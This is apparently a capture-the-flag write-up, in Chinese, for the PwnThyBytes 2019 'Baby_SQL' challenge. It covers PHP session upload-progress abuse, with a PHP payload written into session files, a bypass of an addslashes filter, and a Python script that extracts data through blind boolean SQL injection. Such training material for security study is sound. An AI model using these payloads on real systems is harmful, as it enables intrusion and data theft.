[PwnThyBytes 2019] Baby_SQL
考察点:Session、Sql注入
0x00 前置知识
参考资料:https://cloud.tencent.com/developer/article/2035863
PHP SESSION 的存储
Session会话储存方式
PHP将session以文件的形式存储在服务器某个文件中,可以在php.ini里面设置session的存储位置session.save_path
总结常见的php-session默认存放位置是很有必要的,因为在很多时候服务器都是按照默认设置来运行的,
默认路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的sessionID字段。(没有权限)而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
与 SESSION 有关的几个 PHP 选项
session.auto_start
:如果开启这个选项,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,也是通常情况下,这个选项都是默认关闭的。
session.upload_progress.cleanup = on
:表示当文件上传结束后,php将会立即清空对应session文件中的内容。该选项默认开启
session.use_strict_mode
:默认情况下,该选项的值是0,此时用户可以自己定义Session ID。
Session Upload Progress
Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。官网对他的描述是当 session.upload_progress.enabled
选项开启时(默认开启),PHP 能够在每一个文件上传时 监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在 SESSION中获得。当PHP检测到这种POST请求时,它会在_SESSION 中添加一组数据,索引是 session.upload_progress.prefix 与 session.upload_progress.name 连接在一起的值。
php官方文档查询上传进度的样例:
<form action="upload.php" method="POST" enctype="multipart/form-data" >
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="111" />
<input type="file" name="file0" />
<input type="file" name="file1" />
<input type="submit" name="hhhh" />
</form>
session.upload_progress.name是用户可控的,只要在上传文件时,同时POST一个恶意字段 PHP_SESSION_UPLOAD_PROGRESS
让目标服务器的PHP session启动,进而自动创建Session文件,如果某个界面存在文件包含漏洞,包含该session文件即可实现GetShell(需要进行竞争访问,因为session.upload_progress.cleanup = On
是默认选项,保留时间由session.gc_probability
和 session.gc_divisor
共同决定,默认情况下为1440s,即24min)。
构造如下表单:
<!doctype html>
<html>
<head>
<meta charset="UTF-8">
<script>
(function(){document.cookie = "PHPSESSID=123;path=/";})();
</script>
</head>
<body>
<form action="http://127.0.0.1:8888/Baby_SQL/index.php" method="POST" enctype="multipart/form-data" >
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file0" />
<input type="submit" value="提交" />
</form>
</body>
</html>
但上面生成的session文件名为sess_hirkf4l2qaenfui7nc2cu5fu55,难以利用
但我们可以实现控制session文件名,操作如下:
将Cookie的值设置为PHPSESSID=hhh(这样生成的文件名就会是sess_hhh)
然后将选择恶意文件并提交
例如:
<!doctype html>
<html>
<body>
<form action="http://192.168.43.82/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html
脚本实现:
import io
import requests
import threading
sessid = 'whoami'
def POST(session):
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.43.82/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
with requests.session() as session:
while True:
POST(session)
print("[+] 成功写入sess_whoami")
0x01 代码审计
index.php提示source.zip源代码泄露
index.php:
<?php
session_start();
foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value)
{
!is_string($value) AND die("Hacking attempt!");
return addslashes($value);//将特殊字符转义
}
isset($_GET['p']) AND $_GET['p'] === "register" AND $_SERVER['REQUEST_METHOD'] === 'POST' AND isset($_POST['username']) AND isset($_POST['password']) AND @include('templates/register.php');
isset($_GET['p']) AND $_GET['p'] === "login" AND $_SERVER['REQUEST_METHOD'] === 'GET' AND isset($_GET['username']) AND isset($_GET['password']) AND @include('templates/login.php');
isset($_GET['p']) AND $_GET['p'] === "home" AND @include('templates/home.php');
?>
可以看到这里将通过GET、POST、SESSION和REQUEST方法获取到的参数全部使用addslashes函数进行了过滤,将特殊字符进行了转义操作(即在前面加\
)。
register.php:
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
(preg_match('/(a|d|m|i|n)/', strtolower($_POST['username'])) OR strlen($_POST['username']) < 6 OR strlen($_POST['username']) > 10 OR !ctype_alnum($_POST['username'])) AND $con->close() AND die("Not allowed!");
$sql = 'INSERT INTO `ptbctf`.`ptbctf` (`username`, `password`) VALUES ("' . $_POST['username'] . '","' . md5($_POST['password']) . '")';
($con->query($sql) === TRUE AND $con->close() AND die("The user was created successfully!")) OR ($con->close() AND die("Error!"));
?>
login.php:
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
$_SESSION['username'] = $user;
return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));
?>
login.php和register.php都有很明显的注入语句
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
只要令username的值为 1 or 1=1 limit 0,1 #
即可
但是如何绕过对特殊符号的限制呢?
0x02 进行sql注入
index.php的第一行有
session_start();
进行了session会话的初始化,提示利用session
在login.php和register.php的第一行都有!isset($_SESSION) AND die("Direct access on this script is not allowed!");
所以其实是可以直接访问login.php(带上Get-username和session)来实现sql注入,而无需经过index.php的filter过滤。
在请求包中加入这么一段,multipart POST的时候传入PHP_SESSION_UPLOAD_PROGRESS,PHP会执行session_start(),所以不用通过index.php也行,实现了绕过
------WebKitFormBoundaryiQwvnfiUcZDHImBt
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php phpinfo();?>
------WebKitFormBoundaryiQwvnfiUcZDHImBt
0x03 payload
import io
import requests
url = 'http://54445ca2-77f7-4a00-9166-2b52e9fd20ef.node3.buuoj.cn/templates/login.php'
flag = ''
f = io.BytesIO(b'a' * 1024 * 50)
file = {"file": ('q.txt', f)}
for i in range(1,250):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
#payload = f"test\" or (ascii(substr((select database()),{i},1))>{mid})#"
#payload = "test\" or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid})#"
#payload = "test\" or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag_tbl'),{i},1))>{mid})#"
payload = "test\" or (ascii(substr((select secret from flag_tbl),{i},1))>{mid})#"
data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
cookie = {"PHPSESSID": "whoami"}
params = {
"username": payload,
"password": "123456"
}
res = requests.post(url=url, params=params, data=data, files=file, cookies=cookie)
#print(res.text)
if 'meta' in res.text:
low = mid+1 # 为真时,即判断正确的时候,low=mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)